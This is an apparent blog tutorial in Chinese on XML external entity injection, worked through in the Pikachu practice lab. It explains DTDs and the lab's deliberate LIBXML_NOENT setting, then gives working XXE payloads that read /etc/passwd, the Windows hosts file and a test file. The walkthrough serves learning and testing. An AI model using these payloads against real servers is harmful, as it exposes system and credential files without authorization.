1. 程式人生 > 實用技巧 >XEE - Pikachu

XEE - Pikachu

概述

XXE -"xml external entity injection"
既"xml外部實體注入漏洞"。
概括一下就是"攻擊者通過向伺服器注入指定的xml實體內容,從而讓伺服器按照指定的配置進行執行,導致問題"
也就是說服務端接收和解析了來自使用者端的xml資料,而又沒有做嚴格的安全控制,從而導致xml外部實體注入。


現在很多語言裡面對應的解析xml的函式預設是禁止解析外部實體內容的,從而也就直接避免了這個漏洞。
以PHP為例,在PHP裡面解析xml用的是libxml,其在≥2.9.0的版本中,預設是禁止解析xml外部實體內容的。

第一部分:XML宣告部分
<?xml version="1.0"?>

第二部分:文件型別定義 DTD
<!DOCTYPE note[
<!--定義此文件是note型別的文件-->
<!ENTITY entity-name SYSTEM "URI/URL">
<!--外部實體宣告-->
]]]>

第三部分:文件元素
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>

DTD(Document Type Definition,文件型別定義),用來為 XML 文件定義語法約束,可以是內部申明也可以使引用外部.

DTD現在很多語言裡面對應的解析xml的函式預設是禁止解析外部實體內容的,從而也就直接避免了這個漏洞。

內部申明DTD格式
<!DOCTYPE 根元素 [元素申明]>

外部引用DTD格式
<!DOCTYPE 根元素 SYSTEM "外部DTD的URI">

引用公共DTD格式
<!DOCTYPE 根元素 PUBLIC "DTD標識名" "公共DTD的URI">

外部實體引用 Payload

<?xml version="1.0"?>

<!DOCTYPE ANY[
<!ENTITY f SYSTEM "file:///etc/passwd">
]>

<x>&f;</x>

外部引用可以支援http,file,ftp等協議。

如果一個介面支援接收xm|資料,且沒有對xml資料做任何安全上的措施,就可能導致XXE漏洞。

simplexml_load_string()

函式轉換形式良好的XML 字串為SimpleXMLElement物件。

在PHP 裡面解析 xml 用的是 libxml, 其在 2.9.0 的版本中 預設是禁止解析 xml 外部實體內容的。

XXE漏洞發生在應用程式解析XML輸入時,沒有禁止外部實體的載入,導致攻擊者可以構造一個惡意的XML。

靶場

1.檢視一波原始碼先,

它會通過POST請求,去獲取前端的下xml資料,獲取後就會傳到simplexml_load_string()這個函式,如果PHP的版本大於2.9.0的話,這個函式是預設禁止的,但在這裡,他為了製造一個漏洞,就通過LIBXML_NOENT這個函式開啟了外部實體來構造XXE漏洞。也就是說,在這個漏洞中,把xml資料傳給simplexml_load_string(),這個函式就會對資料的外部實體內容進行解析,然後再返回給前端。

2.進入靶場,隨便輸入,回顯為,

3.構造一個payload,

<?xml version = "1.0"?>
<!DOCTYPE note [
	<!ENTITY hack "chongchongchong">
]>
<name>hack</name>

回顯為

4.構造一個惡意的payload,通過外部實體引用從而去獲取後臺伺服器的本地檔案資訊

  (注:外部引用可以支援http,file,ftp等協議。)

payload

<?xml version = "1.0"?>
<!DOCTYPE ANY [
    <!ENTITY f SYSTEM "file:///C://Windows/System32/drivers/etc/hosts">    <!--要根據後臺伺服器的系統,輸入正確的檔案路徑-->
]>
<x>&f;</x>

回顯為

5.我們可以在C盤建立一個txt檔案

路徑為

C:\XXE.txt

6.構造payload

<?xml version = "1.0"?>
<!DOCTYPE ANY [
	<!ENTITY f SYSTEM "file:///C://XXE.txt">
]>
<name>&f;</name>

參考:

https://blog.csdn.net/qq_41584172/article/details/103020109

https://www.cnblogs.com/00xHuang/p/13322596.html